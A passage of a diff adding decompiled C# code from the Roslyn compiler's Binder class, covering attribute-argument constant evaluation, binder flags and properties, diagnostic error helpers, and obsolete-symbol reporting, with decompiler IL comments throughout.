VisitArrayCreation((BoundArrayCreation)node, diagnostics, ref attrHasErrors, curArgumentHasErrors), + _ => CreateTypedConstant(node, (TypedConstantKind)0, diagnostics, ref attrHasErrors, curArgumentHasErrors), + }); + } + + private TypedConstant VisitArrayCollectionExpression(TypeSymbol type, BoundCollectionExpression collection, BindingDiagnosticBag diagnostics, ref bool attrHasErrors, bool curArgumentHasErrors) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + TypedConstantKind attributeParameterTypedConstantKind = type.GetAttributeParameterTypedConstantKind(_binder.Compilation); + ImmutableArray elements = collection.Elements; + ArrayBuilder instance = ArrayBuilder.GetInstance(elements.Length); + ImmutableArray.Enumerator enumerator = elements.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + instance.Add(VisitCollectionExpressionElement(current, diagnostics, ref attrHasErrors, curArgumentHasErrors || current.HasAnyErrors)); + } + return CreateTypedConstant(collection, attributeParameterTypedConstantKind, diagnostics, ref attrHasErrors, curArgumentHasErrors, null, instance.ToImmutableAndFree()); + } + + private TypedConstant VisitCollectionExpressionElement(BoundExpression node, BindingDiagnosticBag diagnostics, ref bool attrHasErrors, bool curArgumentHasErrors) + { + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + if (node is BoundCollectionExpressionSpreadElement boundCollectionExpressionSpreadElement) + { + Error(diagnostics, ErrorCode.ERR_BadAttributeArgument, SyntaxNodeOrToken.op_Implicit(node.Syntax)); + attrHasErrors = true; + return new TypedConstant((ITypeSymbolInternal)(object)boundCollectionExpressionSpreadElement.Expression.Type, (TypedConstantKind)0, (object)null); + } + return VisitExpression(node, diagnostics, ref attrHasErrors, curArgumentHasErrors); + } + + private TypedConstant VisitConversion(BoundConversion node, BindingDiagnosticBag diagnostics, ref bool attrHasErrors, bool curArgumentHasErrors) + { + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Invalid comparison between Unknown and I4 + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Invalid comparison between Unknown and I4 + TypeSymbol type = node.Type; + BoundExpression operand = node.Operand; + TypeSymbol type2 = operand.Type; + if (node.Conversion.IsCollectionExpression && node.Conversion.GetCollectionExpressionTypeKind(out TypeSymbol _) == CollectionExpressionTypeKind.Array) + { + return VisitArrayCollectionExpression(type, (BoundCollectionExpression)operand, diagnostics, ref attrHasErrors, curArgumentHasErrors); + } + if ((object)type != null && (object)type2 != null && ((int)type.SpecialType == 1 || (type2.IsArray() && type.IsArray() && (int)((ArrayTypeSymbol)type).ElementType.SpecialType == 1))) + { + TypedConstantKind attributeParameterTypedConstantKind = type2.GetAttributeParameterTypedConstantKind(_binder.Compilation); + return VisitExpression(operand, attributeParameterTypedConstantKind, diagnostics, ref attrHasErrors, curArgumentHasErrors); + } + return CreateTypedConstant(node, (TypedConstantKind)0, diagnostics, ref attrHasErrors, curArgumentHasErrors); + } + + private static TypedConstant VisitTypeOfExpression(BoundTypeOfOperator node, BindingDiagnosticBag diagnostics, ref bool attrHasErrors, bool curArgumentHasErrors) + { + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Invalid comparison between Unknown and I4 + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + TypeSymbol type = node.SourceType.Type; + if ((object)type != null) + { + bool flag = true; + flag = (int)type.Kind != 17 && (type.IsUnboundGenericType() || !type.ContainsTypeParameter()); + if (!flag && !curArgumentHasErrors) + { + Error(diagnostics, ErrorCode.ERR_AttrArgWithTypeVars, SyntaxNodeOrToken.op_Implicit(node.Syntax), ((Symbol)type).ToDisplayString(SymbolDisplayFormat.CSharpErrorMessageFormat)); + curArgumentHasErrors = true; + attrHasErrors = true; + } + } + return CreateTypedConstant(node, (TypedConstantKind)3, diagnostics, ref attrHasErrors, curArgumentHasErrors, node.SourceType.Type); + } + + private TypedConstant VisitArrayCreation(BoundArrayCreation node, BindingDiagnosticBag diagnostics, ref bool attrHasErrors, bool curArgumentHasErrors) + { + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_00a5: Unknown result type (might be due to invalid IL or missing references) + //IL_00ac: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray bounds = node.Bounds; + int length = bounds.Length; + if (length > 1) + { + return CreateTypedConstant(node, (TypedConstantKind)0, diagnostics, ref attrHasErrors, curArgumentHasErrors); + } + TypedConstantKind attributeParameterTypedConstantKind = ((ArrayTypeSymbol)node.Type).GetAttributeParameterTypedConstantKind(_binder.Compilation); + ImmutableArray arrayValue = ((node.InitializerOpt != null) ? VisitArguments(node.InitializerOpt.Initializers, diagnostics, ref attrHasErrors, curArgumentHasErrors) : ((length == 0) ? ImmutableArray.Empty : ((!bounds[0].IsDefaultValue()) ? ImmutableArray.Create(CreateTypedConstant(node, (TypedConstantKind)0, diagnostics, ref attrHasErrors, curArgumentHasErrors)) : ImmutableArray.Empty))); + return CreateTypedConstant(node, attributeParameterTypedConstantKind, diagnostics, ref attrHasErrors, curArgumentHasErrors, null, arrayValue); + } + + private static TypedConstant CreateTypedConstant(BoundExpression node, TypedConstantKind typedConstantKind, BindingDiagnosticBag diagnostics, ref bool attrHasErrors, bool curArgumentHasErrors, object? simpleValue = null, ImmutableArray arrayValue = default(ImmutableArray)) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Invalid comparison between Unknown and I4 + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + TypeSymbol type = node.Type; + if ((int)typedConstantKind != 0 && type.ContainsTypeParameter()) + { + typedConstantKind = (TypedConstantKind)0; + } + if ((int)typedConstantKind == 0) + { + if (!curArgumentHasErrors) + { + Error(diagnostics, ErrorCode.ERR_BadAttributeArgument, SyntaxNodeOrToken.op_Implicit(node.Syntax)); + attrHasErrors = true; + } + return new TypedConstant((ITypeSymbolInternal)(object)type, (TypedConstantKind)0, (object)null); + } + if ((int)typedConstantKind == 4) + { + return new TypedConstant((ITypeSymbolInternal)(object)type, arrayValue); + } + return new TypedConstant((ITypeSymbolInternal)(object)type, typedConstantKind, simpleValue); + } + } + + private readonly struct AnalyzedAttributeArguments + { + internal readonly AnalyzedArguments ConstructorArguments; + + internal readonly ArrayBuilder? NamedArguments; + + internal AnalyzedAttributeArguments(AnalyzedArguments constructorArguments, ArrayBuilder? namedArguments) + { + ConstructorArguments = constructorArguments; + NamedArguments = namedArguments; + } + } + + [DebuggerDisplay("{GetDebuggerDisplay(),nq}")] + internal sealed class DeconstructionVariable + { + internal readonly BoundExpression? Single; + + internal readonly ArrayBuilder? NestedVariables; + + internal readonly CSharpSyntaxNode Syntax; + + internal DeconstructionVariable(BoundExpression variable, SyntaxNode syntax) + { + Single = variable; + NestedVariables = null; + Syntax = (CSharpSyntaxNode)(object)syntax; + } + + internal DeconstructionVariable(ArrayBuilder variables, SyntaxNode syntax) + { + Single = null; + NestedVariables = variables; + Syntax = (CSharpSyntaxNode)(object)syntax; + } + + internal static void FreeDeconstructionVariables(ArrayBuilder variables) + { + ArrayBuilderExtensions.FreeAll(variables, (Func>)((DeconstructionVariable v) => v.NestedVariables)); + } + + private string GetDebuggerDisplay() + { + if (Single != null) + { + return Single.GetDebuggerDisplay(); + } + return $"Nested variables ({NestedVariables.Count})"; + } + } + + private sealed class BinderWithContainingMemberOrLambda : Binder + { + private readonly Symbol _containingMemberOrLambda; + + internal override Symbol ContainingMemberOrLambda => _containingMemberOrLambda; + + internal BinderWithContainingMemberOrLambda(Binder next, Symbol containingMemberOrLambda) + : base(next) + { + _containingMemberOrLambda = containingMemberOrLambda; + } + + internal BinderWithContainingMemberOrLambda(Binder next, BinderFlags flags, Symbol containingMemberOrLambda) + : base(next, flags) + { + _containingMemberOrLambda = containingMemberOrLambda; + } + } + + private sealed class BinderWithConditionalReceiver : Binder + { + private readonly BoundExpression _receiverExpression; + + internal override BoundExpression ConditionalReceiverExpression => _receiverExpression; + + internal BinderWithConditionalReceiver(Binder next, BoundExpression receiverExpression) + : base(next) + { + _receiverExpression = receiverExpression; + } + } + + internal struct ProcessedFieldInitializers + { + internal ImmutableArray BoundInitializers { get; set; } + + internal BoundStatement? LoweredInitializers { get; set; } + + internal bool HasErrors { get; set; } + + internal ImportChain? FirstImportChain { get; set; } + } + + [Flags] + internal enum ConversionForAssignmentFlags + { + None = 0, + DefaultParameter = 1, + RefAssignment = 2, + IncrementAssignment = 4, + CompoundAssignment = 8, + PredefinedOperator = 0x10 + } + + private enum ConstraintContextualKeyword + { + None, + Unmanaged, + NotNull + } + + private class ConsistentSymbolOrder : IComparer + { + public static readonly ConsistentSymbolOrder Instance = new ConsistentSymbolOrder(); + + public int Compare(Symbol fst, Symbol snd) + { + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Expected I4, but got Unknown + //IL_0105: Unknown result type (might be due to invalid IL or missing references) + //IL_010a: Unknown result type (might be due to invalid IL or missing references) + //IL_0114: Unknown result type (might be due to invalid IL or missing references) + //IL_0119: Unknown result type (might be due to invalid IL or missing references) + if (snd == fst) + { + return 0; + } + if ((object)fst == null) + { + return -1; + } + if ((object)snd == null) + { + return 1; + } + if (snd.Name != fst.Name) + { + return string.CompareOrdinal(fst.Name, snd.Name); + } + if (snd.Kind != fst.Kind) + { + return fst.Kind - snd.Kind; + } + int num = ((!snd.Locations.IsDefault) ? snd.Locations.Length : 0); + int length = fst.Locations.Length; + if (num != length) + { + return num - length; + } + if (num == 0 && length == 0) + { + return Compare(fst.ContainingSymbol, snd.ContainingSymbol); + } + Location firstLocation = snd.GetFirstLocation(); + Location firstLocation2 = fst.GetFirstLocation(); + if (firstLocation.IsInSource != firstLocation2.IsInSource) + { + if (!firstLocation.IsInSource) + { + return -1; + } + return 1; + } + int num2 = Compare(fst.ContainingSymbol, snd.ContainingSymbol); + if (!firstLocation.IsInSource) + { + return num2; + } + if (num2 == 0 && firstLocation.SourceTree == firstLocation2.SourceTree) + { + TextSpan sourceSpan = firstLocation2.SourceSpan; + int start = ((TextSpan)(ref sourceSpan)).Start; + sourceSpan = firstLocation.SourceSpan; + return start - ((TextSpan)(ref sourceSpan)).Start; + } + return num2; + } + } + + [Flags] + private enum BestSymbolLocation + { + None = 0, + FromFile = 1, + FromSourceModule = 2, + FromAddedModule = 3, + FromReferencedAssembly = 4, + FromCorLibrary = 5 + } + + [DebuggerDisplay("Location = {_location}, Index = {_index}")] + private readonly struct BestSymbolInfo + { + private readonly BestSymbolLocation _location; + + private readonly int _index; + + public int Index + { + get + { + if (!IsNone) + { + return _index; + } + return -1; + } + } + + public bool IsFromSourceModule => _location == BestSymbolLocation.FromSourceModule; + + public bool IsFromAddedModule => _location == BestSymbolLocation.FromAddedModule; + + public bool IsFromCompilation + { + get + { + if (_location != BestSymbolLocation.FromSourceModule) + { + return _location == BestSymbolLocation.FromAddedModule; + } + return true; + } + } + + public bool IsFromFile => _location == BestSymbolLocation.FromFile; + + public bool IsNone => _location == BestSymbolLocation.None; + + public bool IsFromCorLibrary => _location == BestSymbolLocation.FromCorLibrary; + + public BestSymbolInfo(BestSymbolLocation location, int index) + { + _location = location; + _index = index; + } + + public static bool Sort(ref BestSymbolInfo first, ref BestSymbolInfo second) + { + if (IsSecondLocationBetter(first._location, second._location)) + { + BestSymbolInfo bestSymbolInfo = first; + first = second; + second = bestSymbolInfo; + return true; + } + return false; + } + + public static bool IsSecondLocationBetter(BestSymbolLocation firstLocation, BestSymbolLocation secondLocation) + { + if (firstLocation != BestSymbolLocation.None) + { + return firstLocation > secondLocation; + } + return true; + } + } + + private enum EnumeratorResult + { + Succeeded, + FailedNotReported, + FailedAndReported + } + + internal readonly BinderFlags Flags; + + private Conversions? _lazyConversions; + + private OverloadResolution? _lazyOverloadResolution; + + private const int ValueKindInsignificantBits = 2; + + private const BindValueKind ValueKindSignificantBitsMask = (BindValueKind)65532; + + private static readonly Func s_isIndexedPropertyWithNonOptionalArguments = delegate(PropertySymbol property) + { + if (property.IsIndexer || !property.IsIndexedProperty) + { + return false; + } + ParameterSymbol parameterSymbol = property.Parameters[0]; + return !parameterSymbol.IsOptional && !parameterSymbol.IsParams; + }; + + private static readonly SymbolDisplayFormat s_propertyGroupFormat = new SymbolDisplayFormat((SymbolDisplayGlobalNamespaceStyle)0, (SymbolDisplayTypeQualificationStyle)0, (SymbolDisplayGenericsOptions)0, (SymbolDisplayMemberOptions)32, (SymbolDisplayDelegateStyle)0, (SymbolDisplayExtensionMethodStyle)0, (SymbolDisplayParameterOptions)0, (SymbolDisplayPropertyStyle)0, (SymbolDisplayLocalOptions)0, (SymbolDisplayKindOptions)0, (SymbolDisplayMiscellaneousOptions)3); + + internal const int MaxParameterListsForErrorRecovery = 10; + + private const string transparentIdentifierPrefix = "<>h__TransparentIdentifier"; + + private static readonly Func s_toMethodSymbolFunc = (Symbol s) => (MethodSymbol)s; + + private static readonly Func s_toPropertySymbolFunc = (Symbol s) => (PropertySymbol)s; + + internal CSharpCompilation Compilation { get; } + + internal bool IsSemanticModelBinder => Flags.Includes(BinderFlags.SemanticModel); + + internal bool IsEarlyAttributeBinder => Flags.Includes(BinderFlags.EarlyAttributeBinding); + + protected virtual SyntaxNode? EnclosingNameofArgument => NextRequired.EnclosingNameofArgument; + + internal virtual bool IsInsideNameof => NextRequired.IsInsideNameof; + + protected internal Binder? Next { get; } + + protected internal Binder NextRequired => Next; + + protected OverflowChecks CheckOverflow + { + get + { + if (!Flags.Includes(BinderFlags.CheckedRegion)) + { + if (!Flags.Includes(BinderFlags.UncheckedRegion)) + { + return OverflowChecks.Implicit; + } + return OverflowChecks.Disabled; + } + return OverflowChecks.Enabled; + } + } + + internal bool CheckOverflowAtRuntime => CheckOverflow switch + { + OverflowChecks.Implicit => ((CompilationOptions)Compilation.Options).CheckOverflow, + OverflowChecks.Enabled => true, + _ => false, + }; + + internal bool CheckOverflowAtCompileTime => CheckOverflow != OverflowChecks.Disabled; + + internal bool UseUpdatedEscapeRules => Compilation.SourceModule.UseUpdatedEscapeRules; + + internal virtual SyntaxNode? ScopeDesignator => null; + + internal virtual bool IsLocalFunctionsScopeBinder => false; + + internal virtual bool IsLabelsScopeBinder => false; + + internal bool InExpressionTree => (Flags & BinderFlags.InExpressionTree) == BinderFlags.InExpressionTree; + + internal virtual bool IsNestedFunctionBinder => false; + + internal virtual Symbol? ContainingMemberOrLambda => Next.ContainingMemberOrLambda; + + internal virtual bool IsInMethodBody => Next.IsInMethodBody; + + internal virtual bool IsDirectlyInIterator => Next.IsDirectlyInIterator; + + internal virtual bool IsIndirectlyInIterator => Next.IsIndirectlyInIterator; + + internal virtual GeneratedLabelSymbol? BreakLabel => Next.BreakLabel; + + internal virtual GeneratedLabelSymbol? ContinueLabel => Next.ContinueLabel; + + internal virtual ImportChain? ImportChain => Next.ImportChain; + + internal virtual QuickAttributeChecker QuickAttributeChecker => Next.QuickAttributeChecker; + + protected virtual bool InExecutableBinder => Next.InExecutableBinder; + + internal NamedTypeSymbol? ContainingType + { + get + { + Symbol containingMemberOrLambda = ContainingMemberOrLambda; + if ((object)containingMemberOrLambda != null) + { + if (containingMemberOrLambda is NamedTypeSymbol result) + { + return result; + } + return containingMemberOrLambda.ContainingType; + } + return null; + } + } + + internal bool BindingTopLevelScriptCode + { + get + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Invalid comparison between Unknown and I4 + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Invalid comparison between Unknown and I4 + Symbol containingMemberOrLambda = ContainingMemberOrLambda; + SymbolKind? val = containingMemberOrLambda?.Kind; + if (val.HasValue) + { + SymbolKind valueOrDefault = val.GetValueOrDefault(); + if ((int)valueOrDefault == 9) + { + return ((MethodSymbol)containingMemberOrLambda).IsScriptInitializer; + } + if ((int)valueOrDefault == 11) + { + return ((NamedTypeSymbol)containingMemberOrLambda).IsScriptClass; + } + } + return false; + } + } + + internal virtual ConstantFieldsInProgress ConstantFieldsInProgress => Next.ConstantFieldsInProgress; + + internal virtual ConsList FieldsBeingBound => Next.FieldsBeingBound; + + internal virtual LocalSymbol? LocalInProgress => Next.LocalInProgress; + + internal virtual BoundExpression? ConditionalReceiverExpression => Next.ConditionalReceiverExpression; + + internal Conversions Conversions + { + get + { + if (_lazyConversions == null) + { + Interlocked.CompareExchange(ref _lazyConversions, new Conversions(this), null); + } + return _lazyConversions; + } + } + + internal OverloadResolution OverloadResolution + { + get + { + if (_lazyOverloadResolution == null) + { + Interlocked.CompareExchange(ref _lazyOverloadResolution, new OverloadResolution(this), null); + } + return _lazyOverloadResolution; + } + } + + private bool ContextForbidsAwait + { + get + { + if (!Flags.Includes(BinderFlags.InCatchFilter)) + { + return Flags.Includes(BinderFlags.InLockBody); + } + return true; + } + } + + internal bool InFieldInitializer => Flags.Includes(BinderFlags.FieldInitializer); + + internal bool InParameterDefaultValue => Flags.Includes(BinderFlags.ParameterDefaultValue); + + protected bool InConstructorInitializer => Flags.Includes(BinderFlags.ConstructorInitializer); + + internal bool InAttributeArgument => Flags.Includes(BinderFlags.AttributeArgument); + + internal bool InCref => Flags.Includes(BinderFlags.Cref); + + protected bool InCrefButNotParameterOrReturnType + { + get + { + if (InCref) + { + return !Flags.Includes(BinderFlags.CrefParameterOrReturnType); + } + return false; + } + } + + internal virtual bool SupportsExtensionMethods => false; + + internal virtual ImmutableHashSet LockedOrDisposedVariables => Next.LockedOrDisposedVariables; + + internal virtual ImmutableArray Locals => ImmutableArray.Empty; + + internal virtual ImmutableArray LocalFunctions => ImmutableArray.Empty; + + internal virtual ImmutableArray Labels => ImmutableArray.Empty; + + internal virtual ImmutableArray ExternAliases => default(ImmutableArray); + + internal virtual ImmutableArray UsingAliases => default(ImmutableArray); + + private bool ShouldCheckConstraints => !Flags.Includes(BinderFlags.SuppressConstraintChecks); + + internal bool InUnsafeRegion => Flags.Includes(BinderFlags.UnsafeRegion); + + internal Binder(CSharpCompilation compilation) + { + Flags = compilation.Options.TopLevelBinderFlags; + Compilation = compilation; + } + + internal Binder(Binder next, Conversions? conversions = null) + { + Next = next; + Flags = next.Flags; + Compilation = next.Compilation; + _lazyConversions = conversions; + } + + protected Binder(Binder next, BinderFlags flags) + { + Next = next; + Flags = flags; + Compilation = next.Compilation; + } + + internal virtual Binder? GetBinder(SyntaxNode node) + { + return Next.GetBinder(node); + } + + internal Binder GetRequiredBinder(SyntaxNode node) + { + return GetBinder(node); + } + + internal virtual ImmutableArray GetDeclaredLocalsForScope(SyntaxNode scopeDesignator) + { + return Next.GetDeclaredLocalsForScope(scopeDesignator); + } + + internal virtual ImmutableArray GetDeclaredLocalFunctionsForScope(CSharpSyntaxNode scopeDesignator) + { + return Next.GetDeclaredLocalFunctionsForScope(scopeDesignator); + } + + internal bool AreNullableAnnotationsEnabled(SyntaxTree syntaxTree, int position) + { + CSharpSyntaxTree cSharpSyntaxTree = (CSharpSyntaxTree)(object)syntaxTree; + NullableContextState nullableContextState = cSharpSyntaxTree.GetNullableContextState(position); + return nullableContextState.AnnotationsState switch + { + NullableContextState.State.Enabled => true, + NullableContextState.State.Disabled => false, + NullableContextState.State.ExplicitlyRestored => GetGlobalAnnotationState(), + NullableContextState.State.Unknown => AreNullableAnnotationsGloballyEnabled() && !cSharpSyntaxTree.IsGeneratedCode(((CompilationOptions)Compilation.Options).SyntaxTreeOptionsProvider, CancellationToken.None), + _ => throw ExceptionUtilities.UnexpectedValue((object)nullableContextState.AnnotationsState), + }; + } + + internal bool AreNullableAnnotationsEnabled(SyntaxToken token) + { + return AreNullableAnnotationsEnabled(((SyntaxToken)(ref token)).SyntaxTree, ((SyntaxToken)(ref token)).SpanStart); + } + + internal virtual bool AreNullableAnnotationsGloballyEnabled() + { + return Next.AreNullableAnnotationsGloballyEnabled(); + } + + protected bool GetGlobalAnnotationState() + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Invalid comparison between Unknown and I4 + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + NullableContextOptions nullableContextOptions = ((CompilationOptions)Compilation.Options).NullableContextOptions; + if ((int)nullableContextOptions > 1) + { + if (nullableContextOptions - 2 <= 1) + { + return true; + } + throw ExceptionUtilities.UnexpectedValue((object)((CompilationOptions)Compilation.Options).NullableContextOptions); + } + return false; + } + + internal virtual TypeWithAnnotations GetIteratorElementType() + { + return Next.GetIteratorElementType(); + } + + internal static void Error(BindingDiagnosticBag diagnostics, DiagnosticInfo info, SyntaxNode syntax) + { + ((BindingDiagnosticBag)diagnostics).Add((Diagnostic)(object)new CSDiagnostic(info, syntax.Location)); + } + + internal static void Error(BindingDiagnosticBag diagnostics, DiagnosticInfo info, Location location) + { + ((BindingDiagnosticBag)diagnostics).Add((Diagnostic)(object)new CSDiagnostic(info, location)); + } + + internal static void Error(BindingDiagnosticBag diagnostics, ErrorCode code, CSharpSyntaxNode syntax) + { + ((BindingDiagnosticBag)diagnostics).Add((Diagnostic)(object)new CSDiagnostic((DiagnosticInfo)(object)new CSDiagnosticInfo(code), ((SyntaxNode)syntax).Location)); + } + + internal static void Error(BindingDiagnosticBag diagnostics, ErrorCode code, CSharpSyntaxNode syntax, params object[] args) + { + ((BindingDiagnosticBag)diagnostics).Add((Diagnostic)(object)new CSDiagnostic((DiagnosticInfo)(object)new CSDiagnosticInfo(code, args), ((SyntaxNode)syntax).Location)); + } + + internal static void Error(BindingDiagnosticBag diagnostics, ErrorCode code, SyntaxToken token) + { + ((BindingDiagnosticBag)diagnostics).Add((Diagnostic)(object)new CSDiagnostic((DiagnosticInfo)(object)new CSDiagnosticInfo(code), ((SyntaxToken)(ref token)).GetLocation())); + } + + internal static void Error(BindingDiagnosticBag diagnostics, ErrorCode code, SyntaxToken token, params object[] args) + { + ((BindingDiagnosticBag)diagnostics).Add((Diagnostic)(object)new CSDiagnostic((DiagnosticInfo)(object)new CSDiagnosticInfo(code, args), ((SyntaxToken)(ref token)).GetLocation())); + } + + internal static void Error(BindingDiagnosticBag diagnostics, ErrorCode code, SyntaxNodeOrToken syntax) + { + Location location = ((SyntaxNodeOrToken)(ref syntax)).GetLocation(); + Error(diagnostics, code, location); + } + + internal static void Error(BindingDiagnosticBag diagnostics, ErrorCode code, SyntaxNodeOrToken syntax, params object[] args) + { + Location location = ((SyntaxNodeOrToken)(ref syntax)).GetLocation(); + Error(diagnostics, code, location, args); + } + + internal static void Error(BindingDiagnosticBag diagnostics, ErrorCode code, Location location) + { + ((BindingDiagnosticBag)diagnostics).Add((Diagnostic)(object)new CSDiagnostic((DiagnosticInfo)(object)new CSDiagnosticInfo(code), location)); + } + + internal static void Error(BindingDiagnosticBag diagnostics, ErrorCode code, Location location, params object[] args) + { + ((BindingDiagnosticBag)diagnostics).Add((Diagnostic)(object)new CSDiagnostic((DiagnosticInfo)(object)new CSDiagnosticInfo(code, args), location)); + } + + internal void ReportDiagnosticsIfObsolete(DiagnosticBag diagnostics, Symbol symbol, SyntaxNode node, bool hasBaseReceiver) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + ReportDiagnosticsIfObsolete(diagnostics, symbol, SyntaxNodeOrToken.op_Implicit(node), hasBaseReceiver); + } + + internal void ReportDiagnosticsIfObsolete(DiagnosticBag diagnostics, Symbol symbol, SyntaxNodeOrToken node, bool hasBaseReceiver) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Expected I4, but got Unknown + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Invalid comparison between Unknown and I4 + SymbolKind kind = symbol.Kind; + switch (kind - 5) + { + default: + if ((int)kind != 15) + { + break; + } + goto case 0; + case 0: + case 1: + case 4: + case 6: + ReportDiagnosticsIfObsolete(diagnostics, symbol, node, hasBaseReceiver, ContainingMemberOrLambda, ContainingType, Flags); + break; + case 2: + case 3: + case 5: + break; + } + } + + internal void ReportDiagnosticsIfObsolete(BindingDiagnosticBag diagnostics, Symbol symbol, SyntaxNodeOrToken node, bool hasBaseReceiver) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (((BindingDiagnosticBag)diagnostics).DiagnosticBag != null) + { + ReportDiagnosticsIfObsolete(((BindingDiagnosticBag)diagnostics).DiagnosticBag, symbol, node, hasBaseReceiver); + } + } + + internal void ReportDiagnosticsIfObsolete(BindingDiagnosticBag diagnostics, Conversion conversion, SyntaxNodeOrToken node, bool hasBaseReceiver) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + if (conversion.IsValid && (object)conversion.Method != null) + { + ReportDiagnosticsIfObsolete(diagnostics, conversion.Method, node, hasBaseReceiver); + } + } + + internal static void ReportDiagnosticsIfObsolete(DiagnosticBag diagnostics, Symbol symbol, SyntaxNodeOrToken node, bool hasBaseReceiver, Symbol? containingMember, NamedTypeSymbol? containingType, BinderFlags location) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + if ((int)symbol.Kind == 9) + { + symbol = ((MethodSymbol)symbol).ConstructedFrom; + } + Symbol leastOverriddenMember = symbol.GetLeastOverriddenMember(containingType); + bool flag = hasBaseReceiver && (object)symbol != leastOverriddenMember; + if (flag) + { + leastOverriddenMember.GetAttributes(); + } + ObsoleteDiagnosticKind obsoleteDiagnosticKind = ReportDiagnosticsIfObsoleteInternal(diagnostics, leastOverriddenMember, node, containingMember, location); + if ((obsoleteDiagnosticKind == ObsoleteDiagnosticKind.NotObsolete || obsoleteDiagnosticKind == ObsoleteDiagnosticKind.Lazy) && flag) + { + ReportDiagnosticsIfObsoleteInternal(diagnostics, symbol, node, containingMember, location); + } + } + + internal static void ReportDiagnosticsIfObsolete(BindingDiagnosticBag diagnostics, Symbol symbol, SyntaxNodeOrToken node, bool hasBaseReceiver, Symbol? containingMember, NamedTypeSymbol? containingType, BinderFlags location) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + if (((BindingDiagnosticBag)diagnostics).DiagnosticBag != null) + { + ReportDiagnosticsIfObsolete(((BindingDiagnosticBag)diagnostics).DiagnosticBag, symbol, node, hasBaseReceiver, containingMember, containingType, location); + } + } + + internal static ObsoleteDiagnosticKind ReportDiagnosticsIfObsoleteInternal(DiagnosticBag diagnostics, Symbol symbol, SyntaxNodeOrToken node, Symbol? containingMember, BinderFlags location) + { + ObsoleteDiagnosticKind obsoleteDiagnosticKind = ObsoleteAttributeHelpers.GetObsoleteDiagnosticKind(symbol, containingMember); + DiagnosticInfo val = null; + switch (obsoleteDiagnosticKind) + { + case ObsoleteDiagnosticKind.Diagnostic: + val = ObsoleteAttributeHelpers.CreateObsoleteDiagnostic(symbol, location); + break; + case ObsoleteDiagnosticKind.Lazy: + case ObsoleteDiagnosticKind.LazyPotentiallySuppressed: + val = (DiagnosticInfo)(object)new LazyObsoleteDiagnosticInfo(symbol, containingMember, location); + break; + } + if (val != null) + { + diagnostics.Add(val, ((SyntaxNodeOrToken)(ref node)).GetLocation()); + } + return obsoleteDiagnosticKind; + } + + internal static void ReportDiagnosticsIfObsoleteInternal(BindingDiagnosticBag diagnostics, Symbol symbol, SyntaxNodeOrToken node, Symbol containingMember, BinderFlags location) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + if (((BindingDiagnosticBag)diagnostics).DiagnosticBag != null) + { + ReportDiagnosticsIfObsoleteInternal(((BindingDiagnosticBag)diagnostics).DiagnosticBag, symbol, node, containingMember, location); + } + } + + internal static void 